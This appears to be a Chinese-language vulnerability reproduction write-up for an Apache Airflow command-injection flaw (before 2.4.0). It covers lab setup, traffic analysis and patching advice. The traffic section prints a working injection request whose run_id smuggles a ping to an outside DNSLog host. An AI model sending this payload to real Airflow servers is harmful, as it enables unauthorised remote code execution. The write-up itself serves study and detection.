目录
0x01 声明:
仅供学习参考使用,请勿用作违法用途,否则后果自负。
0x02 简介:
Apache Airflow是一款开源的,分布式任务调度框架,它将一个具有上下级依赖关系的工作流,组装成一个有向无环图。
0x03 漏洞概述:
Apache Airflow 内置的 example_bash_operator 工作流中的 run_id 参数可以被执行,攻击者控制此参数并造成命令注入,从而 RCE。
0x04 影响版本:
Apache Airflow < 2.4.0
0x05 环境搭建:
Docker环境:
参考这篇文章:(Docker&Docker-compose环境安装_Evan Kang的博客-优快云博客)
漏洞环境:
curl -LfO 'https://airflow.apache.org/docs/apache-airflow/2.3.4/docker-compose.yaml'
mkdir -p ./dags ./logs ./plugins
echo -e "AIRFLOW_UID=$(id -u)" > .env
docker-compose up airflow-init
docker-compose up -d
!!waiting some times!!
open ip:8080
账号:airflow
密码:airflow
0x06 漏洞复现:
DNSLog:
POC利用:
查看DNSLog:
0x07 流量分析:
Dns请求特征:
POC特征:
客户端请求:
URL:
POST /trigger?dag_id=example_bash_operator
DATA:
run_id=%7B%22fxoxx%22%3A%22%5C%22%3Bping+tqpofh.dnslog.cn%3B%5C%22%22%7D
0x08 修复建议:
官方已经针对漏洞发布了版本更新(最新版为2.4.3),下载地址如下:
https://airflow.apache.org/docs/apache-airflow/stable/installation/installing-from-sources.html